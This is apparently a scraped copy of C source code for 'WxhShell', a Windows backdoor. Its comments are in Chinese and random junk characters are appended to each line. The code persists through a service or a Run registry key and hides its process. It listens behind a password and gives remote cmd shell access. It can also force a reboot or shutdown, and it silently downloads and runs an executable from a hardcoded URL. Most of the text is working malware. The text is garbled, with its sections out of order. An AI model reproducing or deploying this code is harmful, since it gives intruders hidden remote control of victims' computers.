    if(Boot(SHUTDOWN)) D,ln)["xm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o? $.fhD   
    else { .}*" Nv  
    closesocket(wsh); MJrR[h]  
    ExitThread(0); I2^8pTLh  
    } 9)=ctoZ'  
    break; ---N9I  
    }  f V(J|  
  // 获取shell x3krbUlx  
  case 's': { 4H<lm*!^  
    CmdShell(wsh); ?0,Ngrbe  
    closesocket(wsh); #5j\C+P}|  
    ExitThread(0); Hq 188<  
    break; T,tdL N-  
  } j8`BdKg  
  // 退出 u~-8d;+?y  
  case 'x': { eR"<33{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;({W#Wa  
    CloseIt(wsh); NgCvVWto  
    break; @ry_nKr9  
    } /H==Hm/  
  // 离开 *WT`o>  
  case 'q': { AzxXB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7\q~%lDE  
    closesocket(wsh); 6MkP |vr6  
    WSACleanup(); w+{LAS  
    exit(1); \'bzt"f$j  
    break; O0y_Lm\  
        } 09Cez\0  
  } 0K2`-mL  
  } C2Tyoza  
IN G@B#Cl  
  // 提示信息 ?3xzd P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F@:'J\I}:  
} DDH:)=;z  
  } nj53G67y  
Wiu"k%Qsh  
  return; U`m54f@U  
} }AH] th  
Z)aUt Srf  
// shell模块句柄 _f:W?$\ho  
int CmdShell(SOCKET sock) 3Ims6I]  
{ # 4PVVu<  
STARTUPINFO si; &pp|U}  
ZeroMemory(&si,sizeof(si)); d<N:[Y\4l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aAA U{EWW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o.l- 7  
PROCESS_INFORMATION ProcessInfo; e@OX_t_  
char cmdline[]="cmd"; 9 |vLwQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \} :PLCKT  
  return 0; 5o8EC" 0  
} ,nB5/Lx  
tC9n k5~  
// 自身启动模式 g'qa}/X  
int StartFromService(void) N' `A?&2ru  
{ /Mu @,)''  
typedef struct 7x4PaX(  
{ qm o9G  
  DWORD ExitStatus; ]wG{!0pl  
  DWORD PebBaseAddress; 0s2v'A[\  
  DWORD AffinityMask; xX4N4vb  
  DWORD BasePriority; "!%l/_p?  
  ULONG UniqueProcessId; %F4%H|G  
  ULONG InheritedFromUniqueProcessId; `lt"[K<  
}   PROCESS_BASIC_INFORMATION; MFAH%Z$  
n#OB%@]<V  
PROCNTQSIP NtQueryInformationProcess; s+?zL~t  
pD#rnp>WWt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [mGLcg6Fw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KNIn:K^/  
)f<z% :I+Z  
  HANDLE             hProcess; u^qT2Ss0  
  PROCESS_BASIC_INFORMATION pbi; ah+iZ}E%  
5S--'=fu+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  O+Y6N  
  if(NULL == hInst ) return 0; xx%j.zDI]  
c|@bwat4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lv+TD!b   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b 7?hI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (c &mCJN  
sI^Xb@'09$  
  if (!NtQueryInformationProcess) return 0; K}MK<2vU  
<;Zmjeb+#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cP_.&!T  
  if(!hProcess) return 0; JHTSUq  
o="M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zv,jM0-  
l3I:Q^x@  
  CloseHandle(hProcess);  o!ebs0  
>_"an~Ss  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $6iX   
if(hProcess==NULL) return 0; 2)HuZda  
D!-g&HBTC  
HMODULE hMod; V/I<g  
char procName[255]; Ks`J([(W&  
unsigned long cbNeeded; S2GxV/E  
xBi' X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .MoU1n{Yc  
sZ/v^ xk  
  CloseHandle(hProcess); 54R#W:t  
Xg!{K3OS  
if(strstr(procName,"services")) return 1; // 以服务启动 MC.) 2B7  
ofw3S |F6  
  return 0; // 注册表启动 qm8B8&-  
} JNXq.;:`Q  
CSq4x5!_7>  
// 主模块 \B,@`dw  
int StartWxhshell(LPSTR lpCmdLine) iE^84l68  
{ G.a bql  
  SOCKET wsl; h-<81"}j1  
BOOL val=TRUE; dufu|BL|}  
  int port=0; Ata:^qI  
  struct sockaddr_in door; :hk5 .[  
Y;^l%ePuW  
  if(wscfg.ws_autoins) Install(); d K3*;  
.Una+Z  
port=atoi(lpCmdLine); ARwD~ Tr  
8ek@: Mw  
if(port<=0) port=wscfg.ws_port; W^LY'ypT  
( !fKNia@S  
  WSADATA data; :Cs4NF   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f=gW]x7'R+  
.p]RKS=(:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '3D XPR^B6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ca*DZG/  
  door.sin_family = AF_INET; ']z{{UNUN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x vl#w  
  door.sin_port = htons(port); 3z9d!I^>k  
&n}f?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qCpp6~]Um  
closesocket(wsl); }1i`6`y1  
return 1; gANuBWh8T  
} Rmt~,cW!\  
][h%UrV  
  if(listen(wsl,2) == INVALID_SOCKET) { ?2{Gn-{  
closesocket(wsl); &LZn FR  
return 1; /saIs%(fU  
} ?5|>@>  
  Wxhshell(wsl); Pz|>"'  
  WSACleanup(); tla 5B_  
(G4at2YLd  
return 0; Ed,~1GanY  
{19PL8B~}  
} 1&evG-#<:  
Gm.T;fc:  
// 以NT服务方式启动 u jq=F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9gEwh<  
{ ?; +1)>{  
DWORD   status = 0; )E@.!Ut4o  
  DWORD   specificError = 0xfffffff; u4F5h PO]  
>#~& -3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a85$K$b>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xU>WEm2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (X1e5j>Ru  
  serviceStatus.dwWin32ExitCode     = 0; [-k  
  serviceStatus.dwServiceSpecificExitCode = 0; u#;7<.D  
  serviceStatus.dwCheckPoint       = 0; (%e .:W${  
  serviceStatus.dwWaitHint       = 0; T?soJ]A  
?2;&O`x*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E+R1 !.  
  if (hServiceStatusHandle==0) return; q`H_M{26!y  
mD0f<gJ1  
status = GetLastError(); ith 3 =`3  
  if (status!=NO_ERROR) Bp`]  
{ .4M.y:F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tI TS1  
    serviceStatus.dwCheckPoint       = 0; RJ ||}5  
    serviceStatus.dwWaitHint       = 0; ZQoU3AD;  
    serviceStatus.dwWin32ExitCode     = status; AJ? r,!)  
    serviceStatus.dwServiceSpecificExitCode = specificError; wh\}d4gN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2"kLdD  
    return; N~d?WD\^  
  } zH4D8@[7O  
?{|q5n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \y)rt )  
  serviceStatus.dwCheckPoint       = 0; +[AQUc  
  serviceStatus.dwWaitHint       = 0; % X+:o]T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RLynE V;]  
} ~u!|qM  
k)= X}=w  
// 处理NT服务事件,比如:启动、停止 6]_pIf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]kG"ubHV?h  
{ zyc"]IzOU  
switch(fdwControl) c~$)UND^  
{ o]` *M|  
case SERVICE_CONTROL_STOP: }QcCS2)Ud  
  serviceStatus.dwWin32ExitCode = 0; KL:j?.0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DiScFx |rE  
  serviceStatus.dwCheckPoint   = 0; KRLQ #,9  
  serviceStatus.dwWaitHint     = 0; 3yY}04[9<  
  { q J=~Y|(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /-ch`u md  
  } 2LL'J7  
  return; {3p4:*}  
case SERVICE_CONTROL_PAUSE: tl4V7!U@^z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F/bT)QT<f  
  break; ?m=N]!n  
case SERVICE_CONTROL_CONTINUE: #*uL)2nR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +p_CN*10H  
  break; pb?c$n$u*  
case SERVICE_CONTROL_INTERROGATE: `PdQX.wN  
  break; NP#w +Qw  
}; /k6MzFoid  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YTpSHpf@  
} ia~HQ$'+n  
KB,j7 ~V  
// 标准应用程序主函数 ;| 5F[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zh`<WN&H  
{ wj<6kG  
Eh;'S"{/?j  
// 获取操作系统版本 # E^1|:  
OsIsNt=GetOsVer(); f ue(UMF~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SSg8}m5)Q  
dA`IEQJL  
  // 从命令行安装 #$+*;  
  if(strpbrk(lpCmdLine,"iI")) Install(); } FlT%>Gw  
p8H'{f\G  
  // 下载执行文件 -.@r#d/  
if(wscfg.ws_downexe) { @* jz o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b8VTo lJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); "a>q`RaIQ"  
} 5 +YH.4R  
cLJ$M`e  
if(!OsIsNt) { nQtWvT  
// 如果时win9x,隐藏进程并且设置为注册表启动 R'`qKc  
HideProc(); z'U1bMg  
StartWxhshell(lpCmdLine); "f2$w  
} }J`w4P  
else Nk 8B_{  
  if(StartFromService())  O67W&nz  
  // 以服务方式启动 mPK:R^RjG&  
  StartServiceCtrlDispatcher(DispatchTable); o>i4CCU+  
else B6As,)RjD:  
  // 普通方式启动 4*#18<u5  
  StartWxhshell(lpCmdLine); qI9z;_,gNz  
K5VWt)Z#  
return 0; m6K}|j  
} 6NuD4Ga  
y0.'?6k  
l -mfFN  
{n.PF8A5X  
=========================================== :$|HNeDO  
9Cp-qA%t  
)5JFfp)#  
|?xN\O^#}  
EIAc@$4  
TR`U-= jH,  
" 8)3*6+D  
(9 GWbB?  
#include <stdio.h> tBWrL{xLe  
#include <string.h> %y[h5*y*  
#include <windows.h> DGF5CK.O  
#include <winsock2.h> CL;}IBd a  
#include <winsvc.h> ~.nmI&3  
#include <urlmon.h> ~2N"#b&J  
_pG-qK  
#pragma comment (lib, "Ws2_32.lib") qLG&WB  
#pragma comment (lib, "urlmon.lib") 4G0m\[Du  
nYSiS}?S .  
#define MAX_USER   100 // 最大客户端连接数 |O+H[;TB6  
#define BUF_SOCK   200 // sock buffer 7#a-u<HF"  
#define KEY_BUFF   255 // 输入 buffer h0f;F@I  
~?Pw& K2  
#define REBOOT     0   // 重启 6OIte -c  
#define SHUTDOWN   1   // 关机 eA?RK.e  
I)[DTCJ~  
#define DEF_PORT   5000 // 监听端口 aCj&O:]=  
:#ik. D  
#define REG_LEN     16   // 注册表键长度 ^|>PA:%  
#define SVC_LEN     80   // NT服务名长度 n\D&!y[]F  
P=Jo+4O  
// 从dll定义API ~<5!?6Yt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "| g>'wM*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @%uUiP0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @ioJ] $o7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E_wCN&`[  
a0E)2vt4  
// wxhshell配置信息 j0aXyLNX  
struct WSCFG { k5e;fA/w  
  int ws_port;         // 监听端口 50wulGJud  
  char ws_passstr[REG_LEN]; // 口令 ]7BvvQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no #x60xz  
  char ws_regname[REG_LEN]; // 注册表键名 9T9!kb  
  char ws_svcname[REG_LEN]; // 服务名 _Y4` xv0/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }C?'BRX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4f@rv^f(X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WDD%Q8ejV&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no itP,\k7>d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *#|&JIEsi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 783,s_  
>T-u~i$s  
}; *n ]GsOOn  
C2I_%nU Z1  
// default Wxhshell configuration p%Vt#?q  
struct WSCFG wscfg={DEF_PORT, $( kF#  
    "xuhuanlingzhe", ]:-mbgW  
    1, M"Hf :9Rk  
    "Wxhshell", ZJJY8k `  
    "Wxhshell", hWLA<wdb  
            "WxhShell Service", v{N`.~,^  
    "Wrsky Windows CmdShell Service", pE0Sw}A:9  
    "Please Input Your Password: ", 2MIi=c:oqK  
  1, ^ VyKd  
  "http://www.wrsky.com/wxhshell.exe", JFmC\  
  "Wxhshell.exe" pYEMmZ?L  
    }; Mb}QD~=M  
2@],ZLa  
// 消息定义模块 ML 9' |  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )2o?#8J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O 8r|8]o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JPHL#sKyz  
char *msg_ws_ext="\n\rExit."; +3BN}  
char *msg_ws_end="\n\rQuit."; ^[`%&uj!g  
char *msg_ws_boot="\n\rReboot..."; SKN`2hD  
char *msg_ws_poff="\n\rShutdown..."; u c)eil  
char *msg_ws_down="\n\rSave to "; [|$h*YK  
VCkq"f7c w  
char *msg_ws_err="\n\rErr!"; n( yn<  
char *msg_ws_ok="\n\rOK!"; Ll't>)  
YkSl^j[DHs  
char ExeFile[MAX_PATH]; +Kc  
int nUser = 0; CK@@HSm}l  
HANDLE handles[MAX_USER]; WpP}stam/  
int OsIsNt; V f&zL Sgr  
"HIRTE;&  
SERVICE_STATUS       serviceStatus; sl l\g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z5n1@a __  
%[TR^Th6  
// 函数声明 :3Ox~o  
int Install(void); |HQW0  
int Uninstall(void); M|h3Wt~7  
int DownloadFile(char *sURL, SOCKET wsh); ;$|nrwhy  
int Boot(int flag); TIDO@NwF  
void HideProc(void); Wn2NMXK  
int GetOsVer(void); @Nx 9)  
int Wxhshell(SOCKET wsl); hn@08t G  
void TalkWithClient(void *cs); U7F!Z( 9  
int CmdShell(SOCKET sock); B9z?mt'|r)  
int StartFromService(void); JH9J5%sp  
int StartWxhshell(LPSTR lpCmdLine); LH% F 8  
vvMT}-!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CAhXQ7w'Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r l%  
7JH6A'&  
// 数据结构和表定义 wwZ,;\  
SERVICE_TABLE_ENTRY DispatchTable[] = $s:aW^k  
{ \M^bD4';>  
{wscfg.ws_svcname, NTServiceMain}, Qw*|qGvy^  
{NULL, NULL} C&%_a~  
}; {VRf0c  
H7n>Vx:L-  
// 自我安装 0{D'n@veP  
int Install(void) va@Lz&sAE%  
{ wP@(?z  
  char svExeFile[MAX_PATH]; kTgEd]^&D  
  HKEY key; gwMNYMI  
  strcpy(svExeFile,ExeFile); r,p%U!S<hV  
ZY+qA  
// 如果是win9x系统,修改注册表设为自启动 6cXyJW  
if(!OsIsNt) { <]2wn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q0vQ a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,f>k%_U}  
  RegCloseKey(key); Y:[u1~a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rEW b"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Svmy(w~m  
  RegCloseKey(key); Y$_B1_  
  return 0; wc4=VC"y  
    } ~f98#43  
  } aW7^d'ZZ\  
} 8l`*]1.W<  
else { f]CXu3w(J  
h:|qC`}  
// 如果是NT以上系统,安装为系统服务 ;e*!S}C,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7!E,V:bt'  
if (schSCManager!=0) } q8ASYNc  
{ zrb}_  
  SC_HANDLE schService = CreateService B]tQ(s~  
  ( O\ r0bUPE  
  schSCManager, {P_.~0pc*  
  wscfg.ws_svcname, 6i/(5 nQ  
  wscfg.ws_svcdisp, .ioEI sg  
  SERVICE_ALL_ACCESS, xy;;zOh`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R\[e!g*I  
  SERVICE_AUTO_START, XSLFPTDEc  
  SERVICE_ERROR_NORMAL, rey!{3U  
  svExeFile, =aW9L)8D  
  NULL, %.|@]!C  
  NULL, Km$\:Xo  
  NULL, 9%9#_?RW  
  NULL, bk[!8- b/a  
  NULL R6->t #n,  
  ); zO6oT1I  
  if (schService!=0) \9T7A&  
  { 6'f;-2  
  CloseServiceHandle(schService); #H~64/  
  CloseServiceHandle(schSCManager); M\BRcz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0g8NHkM:2a  
  strcat(svExeFile,wscfg.ws_svcname); K-Ef%a2#`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]Y&VT7+Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;$g?T~v7  
  RegCloseKey(key); i83OOV$1J  
  return 0; f/?P514h  
    } (tW`=]z-<  
  } BI@[\aRLQ  
  CloseServiceHandle(schSCManager); $ I?"lky  
} >A"(KSNL  
} pQB."[n  
(T oUgVW1N  
return 1; xAm6BB c  
} a%0EiU  
Q7CsJzk~)  
// 自我卸载 Q"#J6@  
int Uninstall(void) J{G?-+`  
{ f$QNg0v  
  HKEY key; @=u3ZVD  
JucY[`|JV  
if(!OsIsNt) { jL}v9$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OY({.uVdX  
  RegDeleteValue(key,wscfg.ws_regname); FS1z`wYP  
  RegCloseKey(key); >H ,*H;6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0"z9Q\{}  
  RegDeleteValue(key,wscfg.ws_regname); jebx40TA3  
  RegCloseKey(key); qH_Dc=~la  
  return 0; "m>81-0  
  }  Vxt+]5X  
} BZ^}J!Q'*  
} oXgcc*j  
else { )+Pus~w  
BMf@M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \~wMfP8  
if (schSCManager!=0) $ocdI5  
{ 9lE_nc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >yDZw!C  
  if (schService!=0) />>\IR  
  { _)-o1`*-  
  if(DeleteService(schService)!=0) { ,/unhfs1q  
  CloseServiceHandle(schService); DtnEi4h,  
  CloseServiceHandle(schSCManager); ],].zlN  
  return 0; \'j|BJ~L f  
  } % & bY]w  
  CloseServiceHandle(schService); ,hmL/K0"(5  
  } &)<)^.@3G^  
  CloseServiceHandle(schSCManager); &%Tj/Qx  
} `M6)f?|$.  
} cB&:z)i4  
oP.7/*p  
return 1; ddR>7d}N  
} Z3!`J&  
Ek}A]zC  
// 从指定url下载文件 9N3eN  
int DownloadFile(char *sURL, SOCKET wsh) d'sZxU  
{ kcx Ad   
  HRESULT hr; x,Vr=FB  
char seps[]= "/"; kU`r)=1"  
char *token; 2J;g{95z  
char *file; =g|FT  
char myURL[MAX_PATH]; =tY T8Q;al  
char myFILE[MAX_PATH]; |Q>IrT  
IE~ |iQ?-  
strcpy(myURL,sURL); >LuYHr  
  token=strtok(myURL,seps); tLmTjX .6  
  while(token!=NULL) teVM*-  
  { 4KrL{Z+}  
    file=token; dgePPhj  
  token=strtok(NULL,seps); T[A 69O]v  
  } Ga'swP=hf  
WX0tgXl  
GetCurrentDirectory(MAX_PATH,myFILE); ?z u8)U  
strcat(myFILE, "\\"); ig &Y  
strcat(myFILE, file); E4xa[iZ  
  send(wsh,myFILE,strlen(myFILE),0); I<tm"?q0  
send(wsh,"...",3,0); 8\gjST*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v.5+7,4  
  if(hr==S_OK) )dSi/  
return 0; 4X|zmr:A  
else SX-iAS[<  
return 1; ~PNub E  
W@!S%Y9  
} ;9g2?-svw  
OZ!^ak  
// 系统电源模块 wlmRe`R  
int Boot(int flag) FxtI"g\0  
{ 5/z/>D;  
  HANDLE hToken; !{41!O,K#  
  TOKEN_PRIVILEGES tkp; _wL BA^d^  
29q _BR *:  
  if(OsIsNt) { 1ZRT:N<-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b>9>uC@J15  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WMP,\=6k0  
    tkp.PrivilegeCount = 1; >@AB<$ A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~^b/(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 61 ~upQaR  
if(flag==REBOOT) { BL58] P84  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >&#)Tqt!?  
  return 0; gltBC${7wZ  
} T9q-,w/j;  
else { sUm'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uUw5l})%Fi  
  return 0; Jpo (Wl  
} Vs{|xG7W D  
  } 0Fr?^3h  
  else { @AuO`I@p=  
if(flag==REBOOT) { !$>R j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eKqk= (  
  return 0; i(+p0:< 0  
} w:l V"]1  
else { Jqi%|,/]N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q.c\/&  
  return 0; w.-!UD9/.x  
} t@+}8^ M  
} $]2vvr  
?5 [=(\/.  
return 1; ]:/Q]n^  
} mUx+Y]Ep  
63x?MY6  
// win9x进程隐藏模块 t5IEQ2  
void HideProc(void) iMRwp+$  
{ Ok\7y-w^  
njA#@fU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t.\dpBq  
  if ( hKernel != NULL ) i<g-+Qs  
  { %BB%pC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^D-/`d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }f7j 8py  
    FreeLibrary(hKernel); |)/aGZ+  
  } z,%$+)K  
2SR:FUV/  
return; d4z/5Oa  
} X+]G-  
3%=~) 7cF  
// 获取操作系统版本 zT?D<XW>1  
int GetOsVer(void) DrK{}uM  
{ y Fq&8 x<X  
  OSVERSIONINFO winfo; I ?.^ho  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LvYB7<zk>  
  GetVersionEx(&winfo); m/EFHS49  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4#hSJ(~7S  
  return 1; cDkf qcC  
  else )B8$<sv  
  return 0; r^ ZEImjc  
} lBGQEP3;  
.y:U&Rw4  
// 客户端句柄模块 mBON$sF|  
int Wxhshell(SOCKET wsl) b<gr@WF  
{ >!)DM]Ri  
  SOCKET wsh; 5bpEYW+  
  struct sockaddr_in client; >Wg hn:^  
  DWORD myID; fvxu#m=  
:tv,]05t  
  while(nUser<MAX_USER) C'}KTXiRW  
{ W#3Q ^Z?  
  int nSize=sizeof(client); e6RPIg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [QT#Yf0  
  if(wsh==INVALID_SOCKET) return 1; TBU&6M>{3  
I`4*+a'q&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [Hh9a;.*}h  
if(handles[nUser]==0) x0:m-C  
  closesocket(wsh); e'b(gD}  
else W-zP/]Dh  
  nUser++; mF^v~  
  } _n>,!vH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AbmAKA@  
EG |A_m85  
  return 0; e.V:)7Uc  
} dL )<% o  
l8#EM1g-  
// 关闭 socket ]f9Cx\d:k  
void CloseIt(SOCKET wsh) `$ aZ0+  
{ WbqWG^W  
closesocket(wsh); Czu\RXJR  
nUser--; 8StgsM  
ExitThread(0); _/5H l`  
} Pw!MS5=r  
ChXq4]  
// 客户端请求句柄 #" iu| D  
void TalkWithClient(void *cs) xAMW-eF?d  
{ r<Kx0`y  
3HY9\'t6  
  SOCKET wsh=(SOCKET)cs; O55 xS+3^k  
  char pwd[SVC_LEN]; !5uGd`^I  
  char cmd[KEY_BUFF]; cJ @Wt>YI  
char chr[1]; 03S]8l  
int i,j; ]1pIj i[  
I,@6J(9  
  while (nUser < MAX_USER) { dT1H  
agW@ {c  
if(wscfg.ws_passstr) { ysf~|r4s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W'+:'_{j:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n3 r3"~i  
  //ZeroMemory(pwd,KEY_BUFF); j Dv{/ )  
      i=0; G?/DrnK:  
  while(i<SVC_LEN) { _D(rI#q  
2u*KM`fa`  
  // 设置超时 um>6z_"  
  fd_set FdRead; ^\&e:Nkh  
  struct timeval TimeOut; !9P';p}2  
  FD_ZERO(&FdRead); 2JcjZn  
  FD_SET(wsh,&FdRead); *w0%d1  
  TimeOut.tv_sec=8; Jcm&RI"{  
  TimeOut.tv_usec=0; JQHvz9Yg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tc{s B\&-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ` 3K)GA  
EV@X*| w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V~;1IQd{  
  pwd=chr[0]; ve2u=eQ1  
  if(chr[0]==0xd || chr[0]==0xa) { @xYlS5{  
  pwd=0; .O}%  
  break; dP]\Jo=Yh  
  } `W/>XZl+t  
  i++; CDR@ `1-  
    } h/hmlnOQl  
[>5-$YOT  
  // 如果是非法用户,关闭 socket $F+ LDs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |f_[\&<*  
} XtSkh] #z!  
uurh??R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !6>~?gNd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hm'=aff6A  
\WB<86+z  
while(1) { =\:qo'l  
s?,Ek  
  ZeroMemory(cmd,KEY_BUFF); Opc ZU{4 b  
0eu$ W  
      // 自动支持客户端 telnet标准   q6`b26  
  j=0; mah JSz(3  
  while(j<KEY_BUFF) { c?&X?<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s6.M\^  
  cmd[j]=chr[0]; @Y<bwv  
  if(chr[0]==0xa || chr[0]==0xd) { OCaq3_#tZ  
  cmd[j]=0; TOXfWEU3>  
  break; e)#J1(j_  
  } x$Oq0d{T  
  j++; n!xt5=x P{  
    } /Uy"M:|V1  
]B3=lc"  
  // 下载文件 Vi]W|bP  
  if(strstr(cmd,"http://")) { 3L}!RB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `q*M4,  
  if(DownloadFile(cmd,wsh)) };jN\x?&q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (VEpVn3{  
  else \VyZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "8^ Ch{G-  
  } *<jAiB ,O*  
  else { pRIhFf  
p=GBUII #  
    switch(cmd[0]) { @ljA  
  _ff`y  
